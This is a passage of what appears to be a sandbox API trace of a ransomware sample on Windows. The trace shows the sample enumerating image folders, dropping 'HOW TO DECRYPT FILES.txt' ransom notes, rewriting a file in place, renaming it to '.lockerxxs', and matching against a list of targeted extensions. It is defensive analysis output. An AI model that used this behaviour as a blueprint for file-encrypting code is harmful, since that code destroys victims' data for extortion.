lpString2="mcd8rhEc9u") returned -1 [0090.892] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\gAWK3pTQz16l.gif") returned="gAWK3pTQz16l.gif" [0090.892] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", lpString2="mcd8rhEc9u" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u" [0090.892] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3344cbf0, ftCreationTime.dwHighDateTime=0x1d5de34, ftLastAccessTime.dwLowDateTime=0xf1b2ae30, ftLastAccessTime.dwHighDateTime=0x1d5dc6e, ftLastWriteTime.dwLowDateTime=0xf1b2ae30, ftLastWriteTime.dwHighDateTime=0x1d5dc6e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x52d5be, cFileName=".", cAlternateFileName="")) returned 0x502518 [0090.892] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0090.892] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3344cbf0, ftCreationTime.dwHighDateTime=0x1d5de34, ftLastAccessTime.dwLowDateTime=0xf1b2ae30, ftLastAccessTime.dwHighDateTime=0x1d5dc6e, ftLastWriteTime.dwLowDateTime=0xf1b2ae30, ftLastWriteTime.dwHighDateTime=0x1d5dc6e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x520000, cFileName="..", cAlternateFileName="")) returned 1 [0090.892] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0090.892] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0090.892] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc21728e0, ftCreationTime.dwHighDateTime=0x1d5e7cc, ftLastAccessTime.dwLowDateTime=0xf781b7c0, ftLastAccessTime.dwHighDateTime=0x1d5df57, ftLastWriteTime.dwLowDateTime=0xf781b7c0, ftLastWriteTime.dwHighDateTime=0x1d5df57, nFileSizeHigh=0x0, nFileSizeLow=0x13021, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="nuUUVDgUD8JiEnqEO.gif", cAlternateFileName="NUUUVD~1.GIF")) returned 1 [0090.892] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.892] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="nuUUVDgUD8JiEnqEO.gif") returned -1 [0090.892] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="nuUUVDgUD8JiEnqEO.gif") returned -1 [0090.892] lstrcmpiA (lpString1="", lpString2="nuUUVDgUD8JiEnqEO.gif") returned -1 [0090.892] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\*.*") returned="*.*" [0090.893] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" [0090.893] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\") returned="" [0090.893] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt" [0090.893] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mcd8rhec9u\\how to decrypt files.txt")) returned 0xffffffff [0090.893] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mcd8rhec9u\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.895] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0090.896] CloseHandle (hObject=0x8c) returned 1 [0090.896] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\", lpString2="nuUUVDgUD8JiEnqEO.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\nuUUVDgUD8JiEnqEO.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\nuUUVDgUD8JiEnqEO.gif" [0090.896] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c934730, ftCreationTime.dwHighDateTime=0x1d5dd44, ftLastAccessTime.dwLowDateTime=0x1cb6c0e0, ftLastAccessTime.dwHighDateTime=0x1d5e524, ftLastWriteTime.dwLowDateTime=0x1cb6c0e0, ftLastWriteTime.dwHighDateTime=0x1d5e524, nFileSizeHigh=0x0, nFileSizeLow=0x10bee, dwReserved0=0x0, dwReserved1=0x0, cFileName="TMqKQ2zuzjTW1 rgpUD.png", cAlternateFileName="TMQKQ2~1.PNG")) returned 1 [0090.896] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.896] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="TMqKQ2zuzjTW1 rgpUD.png") returned -1 [0090.896] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="TMqKQ2zuzjTW1 rgpUD.png") returned -1 [0090.896] lstrcmpiA (lpString1="", lpString2="TMqKQ2zuzjTW1 rgpUD.png") returned -1 [0090.896] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\nuUUVDgUD8JiEnqEO.gif") returned="nuUUVDgUD8JiEnqEO.gif" [0090.896] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" [0090.896] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\") returned="" [0090.897] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt" [0090.897] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mcd8rhec9u\\how to decrypt files.txt")) returned 0x20 [0090.897] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\", lpString2="TMqKQ2zuzjTW1 rgpUD.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png" [0090.897] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png" [0090.897] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png" [0090.897] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png." [0090.897] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png.lockerxxs" [0090.897] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mcd8rhec9u\\tmqkq2zuzjtw1 rgpud.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0090.898] GetFileSize (in: hFile=0x8c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10bee [0090.898] GetFileTime (in: hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9c934730, dwHighDateTime=0x1d5dd44), lpLastAccessTime=0x407536*(dwLowDateTime=0x1cb6c0e0, dwHighDateTime=0x1d5e524), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1cb6c0e0, dwHighDateTime=0x1d5e524)) returned 1 [0090.898] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.898] ReadFile (in: hFile=0x8c, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x10bc8, lpOverlapped=0x0) returned 1 [0090.900] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png") returned="TMqKQ2zuzjTW1 rgpUD.png" [0090.900] SetFilePointer (in: hFile=0x8c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0090.900] WriteFile (in: hFile=0x8c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x10bc8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x10bc8, lpOverlapped=0x0) returned 1 [0090.901] SetFileTime (hFile=0x8c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0090.901] CloseHandle (hObject=0x8c) returned 1 [0090.901] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mcd8rhec9u\\tmqkq2zuzjtw1 rgpud.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mcd8rhec9u\\tmqkq2zuzjtw1 rgpud.png.lockerxxs")) returned 1 [0090.902] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1176b50, ftCreationTime.dwHighDateTime=0x1d5d9cb, ftLastAccessTime.dwLowDateTime=0x9d6bea30, ftLastAccessTime.dwHighDateTime=0x1d5d831, ftLastWriteTime.dwLowDateTime=0x9d6bea30, ftLastWriteTime.dwHighDateTime=0x1d5d831, nFileSizeHigh=0x0, nFileSizeLow=0x6d1c, dwReserved0=0x2800032b, dwReserved1=0x4e00c4, cFileName="wnPsJ69.bmp", cAlternateFileName="")) returned 1 [0090.902] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0090.903] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="wnPsJ69.bmp") returned -1 [0090.903] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="wnPsJ69.bmp") returned -1 [0090.903] lstrcmpiA (lpString1="", lpString2="wnPsJ69.bmp") returned -1 [0090.903] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\TMqKQ2zuzjTW1 rgpUD.png") returned="TMqKQ2zuzjTW1 rgpUD.png" [0090.903] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" [0090.903] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\") returned="" [0090.903] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt" [0090.903] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\mcd8rhec9u\\how to decrypt files.txt")) returned 0x20 [0090.903] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\", lpString2="wnPsJ69.bmp" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp" [0090.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.ems") returned 0 [0090.903] lstrlenA (lpString="*.ems") returned 5 [0090.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.db") returned 0 [0090.903] lstrlenA (lpString="*.db") returned 4 [0090.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.dbf") returned 0 [0090.903] lstrlenA (lpString="*.dbf") returned 5 [0090.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.myox") returned 0 [0090.903] lstrlenA (lpString="*.myox") returned 6 [0090.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.myo") returned 0 [0090.903] lstrlenA (lpString="*.myo") returned 5 [0090.903] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qbw") returned 0 [0090.903] lstrlenA (lpString="*.qbw") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qbb") returned 0 [0090.904] lstrlenA (lpString="*.qbb") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qbm") returned 0 [0090.904] lstrlenA (lpString="*.qbm") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qbo") returned 0 [0090.904] lstrlenA (lpString="*.qbo") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qbx") returned 0 [0090.904] lstrlenA (lpString="*.qbx") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qba") returned 0 [0090.904] lstrlenA (lpString="*.qba") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qby") returned 0 [0090.904] lstrlenA (lpString="*.qby") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qbj") returned 0 [0090.904] lstrlenA (lpString="*.qbj") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.ofx") returned 0 [0090.904] lstrlenA (lpString="*.ofx") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.qif") returned 0 [0090.904] lstrlenA (lpString="*.qif") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.mye") returned 0 [0090.904] lstrlenA (lpString="*.mye") returned 5 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.mbox") returned 0 [0090.904] lstrlenA (lpString="*.mbox") returned 6 [0090.904] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.eml") returned 0 [0090.904] lstrlenA (lpString="*.eml") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.pst") returned 0 [0090.905] lstrlenA (lpString="*.pst") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.ost") returned 0 [0090.905] lstrlenA (lpString="*.ost") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.idx") returned 0 [0090.905] lstrlenA (lpString="*.idx") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.dbx") returned 0 [0090.905] lstrlenA (lpString="*.dbx") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.sql") returned 0 [0090.905] lstrlenA (lpString="*.sql") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.mdb") returned 0 [0090.905] lstrlenA (lpString="*.mdb") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.fdb") returned 0 [0090.905] lstrlenA (lpString="*.fdb") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.wab") returned 0 [0090.905] lstrlenA (lpString="*.wab") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.dat") returned 0 [0090.905] lstrlenA (lpString="*.dat") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.txt") returned 0 [0090.905] lstrlenA (lpString="*.txt") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.jpeg") returned 0 [0090.905] lstrlenA (lpString="*.jpeg") returned 6 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.jpg") returned 0 [0090.905] lstrlenA (lpString="*.jpg") returned 5 [0090.905] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.png") returned 0 [0090.906] lstrlenA (lpString="*.png") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.php") returned 0 [0090.906] lstrlenA (lpString="*.php") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.cs") returned 0 [0090.906] lstrlenA (lpString="*.cs") returned 4 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.cpp") returned 0 [0090.906] lstrlenA (lpString="*.cpp") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.rar") returned 0 [0090.906] lstrlenA (lpString="*.rar") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.zip") returned 0 [0090.906] lstrlenA (lpString="*.zip") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.html") returned 0 [0090.906] lstrlenA (lpString="*.html") returned 6 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.htm") returned 0 [0090.906] lstrlenA (lpString="*.htm") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.xlsx") returned 0 [0090.906] lstrlenA (lpString="*.xlsx") returned 6 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.xls") returned 0 [0090.906] lstrlenA (lpString="*.xls") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.mp4") returned 0 [0090.906] lstrlenA (lpString="*.mp4") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.ppt") returned 0 [0090.906] lstrlenA (lpString="*.ppt") returned 5 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.pptx") returned 0 [0090.906] lstrlenA (lpString="*.pptx") returned 6 [0090.906] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.doc") returned 0 [0090.906] lstrlenA (lpString="*.doc") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.dot") returned 0 [0090.907] lstrlenA (lpString="*.dot") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.docx") returned 0 [0090.907] lstrlenA (lpString="*.docx") returned 6 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.7z") returned 0 [0090.907] lstrlenA (lpString="*.7z") returned 4 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\mcd8rhEc9u\\wnPsJ69.bmp", pszSpec="*.tar") returned 0 [0090.907] lstrlenA (lpString="*.tar") returned 5 [0090.907] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 